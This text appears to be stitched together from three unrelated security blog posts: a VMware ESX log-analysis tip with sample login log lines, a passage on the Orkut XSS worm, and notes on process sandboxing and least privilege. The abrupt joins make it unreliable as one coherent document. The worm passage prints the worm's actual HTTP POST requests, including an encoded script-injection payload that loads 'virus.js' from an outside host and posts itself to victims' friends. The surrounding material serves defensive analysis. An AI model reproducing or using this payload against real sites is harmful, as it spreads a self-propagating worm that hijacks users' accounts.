So, Anton Security Tip of the Day #16: Virtually Screwed - Journey Into VMWare ESX Log Analysis

CISecurty guide for VMWare (here) and DISA STIG for virtual machines (here) both mandate collection and analysis of VM platform logs; none goes into enough details on what to look for in logs. Let's try to shed some light on security-focused log analysis of VMWare ESX v. 3.x logs.

First, at least until ESXi becomes the default choice, one needs to keep in mind that ESX as "Linux-inside" and thus diving into /var/log will not reveal any "alien technology" (well, not much :-)). However, one of the most useful logs is /var/log/hostd.N which is not a descendant of Linux standard logs. Extensive VM event records are written into this file.

Let's focus on various types of logins to the ESX platform and identify logs that indicate a successful and failed attempts to log in. Here are a few useful examples to analyze:

Successful logins:

• May 30 09:20:42 esx2 su(pam_unix)[9405]: session opened for user root by jhonny(uid=1626)

This is a classic Linux root login message; you can watch for these by searching VMWare ESX logs for "session AND opened AND user AND root."  Notice the user name of the user who switched to root.

• May 30 09:20:34 esx2 sshd(pam_unix)[9364]: session opened for user jhonny by (uid=0)

This is also a classic Linux message for a normal (non-root) user login.

• [2008-05-25 06:57:48.774 'ha-eventmgr' 111639472 info] Event 40645 : User jhonny@1.1.1.1 logged in

This is a VMWare -specific application login to ESX. You can track such events by username, by event ID or by keywords "event AND logged AND user" (if you are using search)

Failed logins:

• May 30 09:20:31 esx2 sshd[9356]: Failed password for jhonny from 1.1.1.1 port 54773 ssh2

Another classic Linux message from the ESX system; a failure to login due to incorrect password.

• May 27 12:06:59 esx2 sshd[4756]: Failed password for illegal user jonny from 1.1.1.1 port 30594 ssh2

A message indicating a failure to login due to incorrect username (note a typo).

• May 25 07:03:48 esx1 sudo:     jhonny : 3 incorrect password attempts ; TTY=pts/0 ; PWD=/var/log ; USER=root ; COMMAND=/bin/bash

This ESX Linux platform message should also be familiar to Linux/Unix admins: it indicates multiple sudo password failures; look for such messages in the logs.

BTW, do you need to be reminded to track NOT only failed, but also successful login events?!

Overall, you must prepare for the future by learning to analyze  VMWare logs, just like you handled "legacy OS", such as Linux/Unix and Windows.

As I said before, I am tagging all the tips on my del.icio.us feed; here is the link: All Security Tips of the Day.

Rough estimates are north of 300,000 people compromised, even though it was caught relatively quickly. It’s amazing how fast these things grow in environments like that, where the medium for spreading is based on a technology that almost everyone uses and works across platform. I think the only thing stopping this from being more virulent is making it cross platform, and making the social engineering a little more seamless.

Here are the POST requests sent in by Lavakumar:

POST request sent by the worm to add the victim to the “Infectados pelo Vírus do Orkut” community. The community id is “44001818″.

POST /CommunityJoin.aspx?cmm=44001818 HTTP/1.1
Host: www.orkut.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Referer: http://www.orkut.com/Scrapbook.aspx?uid=<-xxxxxxxxxxxxxxxxxxxx->
Cookie: -xxxxxxxxx-
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 98

POST_TOKEN=0B57493EBE09C74A3D69298F67635479&signature=Bm1YihIUAe5I%2BAvfFH7v4bjtdrI%3D&Action.join

——————————————————————————————————————————————————

POST request sent by the worm to submit itself to the scrapbook of the victim’s friends.

POST /Scrapbook.aspx HTTP/1.1
Host: www.orkut.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Referer: http://www.orkut.com/Scrapbook.aspx?uid=-xxxxxxxxx-
Cookie: -xxxxxxxxx-
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 146

Action.submit=1&POST_TOKEN=0B57493EBE09C74A3D69298F67635479&scrapText=2008%20vem%20ai…%20que%20ele%20comece%20mto%20bem%20para%20vc%3Cbr%2F%3E%5Bsilver%5DRL%20Wed%20Dec%2019%202007%2009%3A52%3A21%20GMT%2B0530%20(India%20Standard%20Time)%5B%2Fsilver%5D%3Cbr%2F%3E%3Cembed%20src%3D%22http%3A%2F%2Fwww.orkut.com%2FLoL.aspx%22%20type%3D%22application%2Fx-shockwave-flash%22%20wmode%3D%22transparent’)%3B%20script%3Ddocument.createElement(’script’)%3Bscript.src%3D’http%3A%2F%2Ffiles.myopera.com%2Fvirusdoorkut%2Ffiles%2Fvirus.js’%3Bdocument.getElementsByTagName(’head’)%5B0%5D.appendChild(script)%3Bescape(’%22%20%20width%3D%221%22%20height%3D%221%22%3E%3C%2Fembed%3E&signature=Bm1YihIUAe5I%2BAvfFH7v4bjtdrI%3D&toUserId=14668216

And the code can be found in many places around the net, but I also threw up a copy on the sla.ckers.org XSS worm section for anyone looking for example worm code. I’m trying to keep that section up to date with non-theoretical, but practical and real world worm code so we can all see it. Google has fixed this issue, but it is unclear what the fallout of the damage will be.

• Prohibit new files, new sockets, etc., by setting the current and maximum RLIMIT_NOFILE limits to 0.
• Prohibit filesystem access: chdir and chroot to an empty directory.
• Choose a uid dedicated to this process ID. This can be as simple as adding the process ID to a base uid, as long as other system-administration tools stay away from the same uid range.
• Ensure that nothing is running under the uid: fork a child to run setuid(targetuid), kill(-1,SIGKILL), and _exit(0), and then check that the child exited normally.
• Prohibit kill(), ptrace(), etc., by setting gid and uid to the target uid.
• Prohibit fork(), by setting the current and maximum RLIMIT_NPROC limits to 0.
• Set the desired limits on memory allocation and other resource allocation.
• Run the rest of the program.

• Sun has a couple of nice blueprints on how to limit the privileges for a process/service. I think it still isn't quite to the default-deny and allow only what you want stage, but interesting nonetheless.
• Limiting Service Privileges in the Solaris 10 Operating System
• Privilege Debugging in the Solaris 10 Operating System

• Microsoft has introduced service hardening and reduced privileges in Server-2008.
  
• Security Configuration Wizard
  
• Based on what I can tell their new wizard and SCM in general are structured more around least privilege than some of the other operating systems. At least from an ease-of-use standpoint.
  

• On Linux we have several options.
  
• SELinux
• AppArmor
• I haven't looked extensively at either of them yet but I'll try to look into whether their policy model is better/worse than the options above.

• Leopard introduces a new process sandboxing mechanism. Unfortunately the details are a bit sketchy. The Matasano guys have a writeup of it, but I haven't seen any details on the exact mechanisms and/or configuration.